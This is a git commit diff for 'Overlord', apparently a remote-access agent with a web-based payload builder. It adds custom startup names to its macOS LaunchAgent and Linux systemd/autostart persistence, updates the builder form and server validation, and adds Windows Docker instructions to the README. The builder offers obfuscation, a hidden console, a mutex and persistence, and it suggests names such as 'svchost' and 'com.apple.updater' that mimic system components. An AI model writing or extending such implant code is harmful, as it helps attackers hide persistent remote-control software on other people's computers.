add custom startup names to mac and linux. Also update readme for windows users who are using the server

This commit is contained in:
KingKDot
2026-04-04 20:42:54 -05:00
parent 985d8a29da
commit 3e198f76a2
7 changed files with 110 additions and 21 deletions
@@ -9,6 +9,7 @@ import (
"os" "os"
"os/user" "os/user"
"path/filepath" "path/filepath"
"strings"
"text/template" "text/template"
) )
@@ -17,7 +18,7 @@ const launchAgentPlist = `<?xml version="1.0" encoding="UTF-8"?>
<plist version="1.0"> <plist version="1.0">
<dict> <dict>
<key>Label</key> <key>Label</key>
<string>com.overlord.agent</string> <string>{{.Label}}</string>
<key>ProgramArguments</key> <key>ProgramArguments</key>
<array> <array>
<string>{{.ExePath}}</string> <string>{{.ExePath}}</string>
@@ -34,12 +35,26 @@ const launchAgentPlist = `<?xml version="1.0" encoding="UTF-8"?>
</plist> </plist>
` `
func binaryName() string {
if DefaultStartupName != "" {
return DefaultStartupName
}
return "agent"
}
func plistLabel() string {
if DefaultStartupName != "" {
return DefaultStartupName
}
return "com.overlord.agent"
}
func getPlistPath() (string, error) { func getPlistPath() (string, error) {
usr, err := user.Current() usr, err := user.Current()
if err != nil { if err != nil {
return "", err return "", err
} }
return filepath.Join(usr.HomeDir, "Library", "LaunchAgents", "com.overlord.agent.plist"), nil return filepath.Join(usr.HomeDir, "Library", "LaunchAgents", plistLabel()+".plist"), nil
} }
func getTargetPath() (string, error) { func getTargetPath() (string, error) {
@@ -47,11 +62,15 @@ func getTargetPath() (string, error) {
if err != nil { if err != nil {
return "", err return "", err
} }
return filepath.Join(usr.HomeDir, "Library", "Application Support", "Overlord", "agent"), nil return filepath.Join(usr.HomeDir, "Library", "Application Support", "Overlord", binaryName()), nil
} }
func install(exePath string) error { func install(exePath string) error {
if DefaultStartupName != "" && !strings.HasPrefix(DefaultStartupName, "com.") {
return fmt.Errorf("startup name %q is invalid for macOS: LaunchAgent labels must start with \"com.\" (e.g. com.apple.updater)", DefaultStartupName)
}
targetPath, err := getTargetPath() targetPath, err := getTargetPath()
if err != nil { if err != nil {
return fmt.Errorf("failed to get target path: %w", err) return fmt.Errorf("failed to get target path: %w", err)
@@ -88,8 +107,10 @@ func install(exePath string) error {
} }
data := struct { data := struct {
Label string
ExePath string ExePath string
}{ }{
Label: plistLabel(),
ExePath: targetPath, ExePath: targetPath,
} }
@@ -167,8 +188,10 @@ func configure(exePath string) error {
} }
data := struct { data := struct {
Label string
ExePath string ExePath string
}{ }{
Label: plistLabel(),
ExePath: exePath, ExePath: exePath,
} }
@@ -35,12 +35,19 @@ NoDisplay=false
X-GNOME-Autostart-enabled=true X-GNOME-Autostart-enabled=true
` `
func binaryName() string {
if DefaultStartupName != "" {
return DefaultStartupName
}
return "agent"
}
func getSystemdPath() (string, error) { func getSystemdPath() (string, error) {
usr, err := user.Current() usr, err := user.Current()
if err != nil { if err != nil {
return "", err return "", err
} }
return filepath.Join(usr.HomeDir, ".config", "systemd", "user", "overlord-agent.service"), nil return filepath.Join(usr.HomeDir, ".config", "systemd", "user", binaryName()+".service"), nil
} }
func getAutostartPath() (string, error) { func getAutostartPath() (string, error) {
@@ -48,7 +55,7 @@ func getAutostartPath() (string, error) {
if err != nil { if err != nil {
return "", err return "", err
} }
return filepath.Join(usr.HomeDir, ".config", "autostart", "overlord-agent.desktop"), nil return filepath.Join(usr.HomeDir, ".config", "autostart", binaryName()+".desktop"), nil
} }
func getTargetPath() (string, error) { func getTargetPath() (string, error) {
@@ -56,7 +63,7 @@ func getTargetPath() (string, error) {
if err != nil { if err != nil {
return "", err return "", err
} }
return filepath.Join(usr.HomeDir, ".local", "share", "overlord", "agent"), nil return filepath.Join(usr.HomeDir, ".local", "share", "overlord", binaryName()), nil
} }
func install(exePath string) error { func install(exePath string) error {
+38 -2
View File
@@ -219,6 +219,10 @@ const persistenceEmptyState = document.getElementById("persistence-empty-state")
const persistenceWindowsSettings = document.getElementById("persistence-windows-settings"); const persistenceWindowsSettings = document.getElementById("persistence-windows-settings");
const persistenceLinuxSettings = document.getElementById("persistence-linux-settings"); const persistenceLinuxSettings = document.getElementById("persistence-linux-settings");
const persistenceMacSettings = document.getElementById("persistence-macos-settings"); const persistenceMacSettings = document.getElementById("persistence-macos-settings");
const persistenceStartupNameContainer = document.getElementById("persistence-startup-name-container");
const startupNameMacosHint = document.getElementById("startup-name-macos-hint");
const startupNameDefaultHint = document.getElementById("startup-name-default-hint");
const startupNameError = document.getElementById("startup-name-error");
const platformInputs = document.querySelectorAll('input[name="platform"]'); const platformInputs = document.querySelectorAll('input[name="platform"]');
function getSelectedPlatformFamilies() { function getSelectedPlatformFamilies() {
@@ -233,6 +237,20 @@ function getSelectedPlatformFamilies() {
}; };
} }
function validateStartupName() {
if (!startupNameError) return true;
const families = getSelectedPlatformFamilies();
const val = document.getElementById("startup-name")?.value.trim() || "";
if (families.darwin && val && !val.startsWith("com.")) {
startupNameError.textContent = "macOS requires the name to start with \"com.\" (e.g. com.apple.updater)";
startupNameError.classList.remove("hidden");
return false;
}
startupNameError.textContent = "";
startupNameError.classList.add("hidden");
return true;
}
function updatePersistenceSettingsVisibility() { function updatePersistenceSettingsVisibility() {
if (!persistenceMethodContainer) return; if (!persistenceMethodContainer) return;
@@ -256,9 +274,19 @@ function updatePersistenceSettingsVisibility() {
if (persistenceMacSettings) { if (persistenceMacSettings) {
persistenceMacSettings.classList.toggle("hidden", !families.darwin); persistenceMacSettings.classList.toggle("hidden", !families.darwin);
} }
if (persistenceStartupNameContainer) {
persistenceStartupNameContainer.classList.toggle("hidden", !hasSupportedFamily);
}
if (startupNameMacosHint) {
startupNameMacosHint.classList.toggle("hidden", !families.darwin);
}
if (startupNameDefaultHint) {
startupNameDefaultHint.classList.toggle("hidden", families.darwin);
}
if (persistenceEmptyState) { if (persistenceEmptyState) {
persistenceEmptyState.classList.toggle("hidden", hasSupportedFamily); persistenceEmptyState.classList.toggle("hidden", hasSupportedFamily);
} }
validateStartupName();
} }
if (persistenceCheckbox && persistenceMethodContainer) { if (persistenceCheckbox && persistenceMethodContainer) {
@@ -270,6 +298,8 @@ platformInputs.forEach((input) => {
input.addEventListener("change", updateWindowsSectionVisibility); input.addEventListener("change", updateWindowsSectionVisibility);
}); });
document.getElementById("startup-name")?.addEventListener("input", validateStartupName);
updatePersistenceSettingsVisibility(); updatePersistenceSettingsVisibility();
form?.addEventListener("change", saveFormSettings); form?.addEventListener("change", saveFormSettings);
@@ -554,6 +584,11 @@ form?.addEventListener("submit", async (e) => {
return; return;
} }
if (!validateStartupName()) {
document.getElementById("startup-name")?.focus();
return;
}
const serverUrl = form.querySelector("#server-url").value.trim(); const serverUrl = form.querySelector("#server-url").value.trim();
const rawServerList = form.querySelector("#raw-server-list")?.checked || false; const rawServerList = form.querySelector("#raw-server-list")?.checked || false;
const mutex = form.querySelector("#mutex")?.value.trim() || ""; const mutex = form.querySelector("#mutex")?.value.trim() || "";
@@ -565,10 +600,11 @@ form?.addEventListener("submit", async (e) => {
'input[name="enable-persistence"]', 'input[name="enable-persistence"]',
).checked; ).checked;
const hasWindowsTarget = platforms.some((platform) => platform.startsWith("windows-")); const hasWindowsTarget = platforms.some((platform) => platform.startsWith("windows-"));
const hasPersistentUnixTarget = platforms.some((p) => p.startsWith("linux-") || p.startsWith("darwin-"));
const persistenceMethods = hasWindowsTarget const persistenceMethods = hasWindowsTarget
? Array.from(form.querySelectorAll('input[name="persistence-method"]:checked')).map((el) => el.value) ? Array.from(form.querySelectorAll('input[name="persistence-method"]:checked')).map((el) => el.value)
: undefined; : undefined;
const startupNameVal = hasWindowsTarget const startupNameVal = (hasWindowsTarget || hasPersistentUnixTarget)
? (form.querySelector("#startup-name")?.value.trim() || "") ? (form.querySelector("#startup-name")?.value.trim() || "")
: ""; : "";
const hideConsole = form.querySelector( const hideConsole = form.querySelector(
@@ -604,7 +640,7 @@ form?.addEventListener("submit", async (e) => {
obfuscate, obfuscate,
enablePersistence, enablePersistence,
persistenceMethods: enablePersistence && hasWindowsTarget ? (persistenceMethods && persistenceMethods.length > 0 ? persistenceMethods : ['startup']) : undefined, persistenceMethods: enablePersistence && hasWindowsTarget ? (persistenceMethods && persistenceMethods.length > 0 ? persistenceMethods : ['startup']) : undefined,
startupName: enablePersistence && hasWindowsTarget && startupNameVal ? startupNameVal : undefined, startupName: enablePersistence && (hasWindowsTarget || hasPersistentUnixTarget) && startupNameVal ? startupNameVal : undefined,
hideConsole, hideConsole,
noPrinting, noPrinting,
outputName: outputNameVal || undefined, outputName: outputNameVal || undefined,
+13 -11
View File
@@ -350,16 +350,6 @@
</div> </div>
</label> </label>
</div> </div>
<div class="mt-3">
<div class="text-xs font-semibold text-slate-300 mb-2 flex items-center gap-2">
<i class="fa-solid fa-file-signature text-blue-400"></i> Startup File Name
</div>
<input type="text" id="startup-name" name="startup-name" maxlength="32"
pattern="[A-Za-z0-9_-]+"
placeholder="ovd (default)"
class="w-full px-3 py-2 bg-slate-800/80 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-orange-500 transition-colors placeholder:text-slate-600" />
<p class="text-xs text-slate-500 mt-1">Custom executable name used by all selected methods (e.g. <code>svchost</code> → <code>svchost.exe</code>). Leave blank for default randomized name.</p>
</div>
</div> </div>
<div id="persistence-linux-settings" class="hidden" data-persistence-os="linux"> <div id="persistence-linux-settings" class="hidden" data-persistence-os="linux">
@@ -376,9 +366,21 @@
<i class="fa-brands fa-apple text-slate-200"></i> macOS Persistence <i class="fa-brands fa-apple text-slate-200"></i> macOS Persistence
</div> </div>
<p class="text-xs text-slate-500"> <p class="text-xs text-slate-500">
Uses <code>LaunchAgents</code> (<code>com.overlord.agent.plist</code>) for login persistence. Uses <code>LaunchAgents</code> for login persistence. The startup name is used as the plist label and <strong class="text-orange-400">must start with <code>com.</code></strong> (e.g. <code>com.apple.updater</code>).
</p> </p>
</div> </div>
<div id="persistence-startup-name-container" class="hidden">
<div class="text-xs font-semibold text-slate-300 mb-2 flex items-center gap-2">
<i class="fa-solid fa-file-signature text-blue-400"></i> Startup File Name
</div>
<input type="text" id="startup-name" name="startup-name" maxlength="32"
pattern="[A-Za-z0-9_.-]+"
placeholder="ovd (default)"
class="w-full px-3 py-2 bg-slate-800/80 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-orange-500 transition-colors placeholder:text-slate-600" />
<p class="text-xs text-slate-500 mt-1">Custom name for the installed executable. On Windows: used as filename (<code>svchost</code> → <code>svchost.exe</code>). On macOS: also used as the LaunchAgent label — <span id="startup-name-macos-hint" class="hidden text-orange-400 font-medium">must start with <code>com.</code> (e.g. <code>com.apple.updater</code>).</span><span id="startup-name-default-hint">Leave blank for a default randomized name.</span></p>
<p id="startup-name-error" class="hidden text-xs text-red-400 mt-1 font-medium"></p>
</div>
</div> </div>
</div> </div>
+1 -1
View File
@@ -713,7 +713,7 @@ func runBoundFiles() {
? config.persistenceMethods ? config.persistenceMethods
: ['startup']; : ['startup'];
sendToStream({ type: "output", text: `Persistence enabled for ${platform} (methods: ${activeMethods.join(', ')})\n`, level: "info" }); sendToStream({ type: "output", text: `Persistence enabled for ${platform} (methods: ${activeMethods.join(', ')})\n`, level: "info" });
if (os === 'windows' && config.startupName) { if (config.startupName) {
const startupNameFlag = `-X overlord-client/cmd/agent/persistence.DefaultStartupName=${config.startupName}`; const startupNameFlag = `-X overlord-client/cmd/agent/persistence.DefaultStartupName=${config.startupName}`;
ldflags = `${ldflags} ${startupNameFlag}`; ldflags = `${ldflags} ${startupNameFlag}`;
sendToStream({ type: "output", text: `Startup name: ${config.startupName}\n`, level: "info" }); sendToStream({ type: "output", text: `Startup name: ${config.startupName}\n`, level: "info" });
@@ -147,9 +147,16 @@ export async function handleBuildRoutes(
: ['startup']; : ['startup'];
if (safePersistenceMethods.length === 0) safePersistenceMethods.push('startup'); if (safePersistenceMethods.length === 0) safePersistenceMethods.push('startup');
const safeStartupName = const safeStartupName =
typeof startupName === 'string' && /^[A-Za-z0-9_-]{1,32}$/.test(startupName.trim()) typeof startupName === 'string' && /^[A-Za-z0-9_.-]{1,64}$/.test(startupName.trim())
? startupName.trim() ? startupName.trim()
: undefined; : undefined;
const hasDarwinTarget = allowedPlatforms.some((p) => p.startsWith('darwin-'));
if (hasDarwinTarget && safeStartupName && !safeStartupName.startsWith('com.')) {
return Response.json(
{ error: 'Startup name for macOS must start with "com." (e.g. com.apple.updater)' },
{ status: 400 },
);
}
const safeOutputName = typeof outputName === "string" && /^[A-Za-z0-9._-]{1,64}$/.test(outputName.trim()) const safeOutputName = typeof outputName === "string" && /^[A-Za-z0-9._-]{1,64}$/.test(outputName.trim())
? outputName.trim() ? outputName.trim()
: undefined; : undefined;
+14
View File
@@ -134,6 +134,20 @@ docker --version
docker compose version docker compose version
``` ```
> **Windows users:** use `docker-compose.windows.yml` instead of the default `docker-compose.yml`. The Windows compose file is pre-configured for Docker Desktop on Windows (no `network_mode: host`, correct volume paths, etc.).
Clone the repo or download the files, then run:
```powershell
docker compose -f docker-compose.windows.yml up -d
```
To rebuild after an update:
```powershell
docker compose -f docker-compose.windows.yml up --build -d
```
### Linux (Debian, official apt repo method) ### Linux (Debian, official apt repo method)
Official docs: Official docs: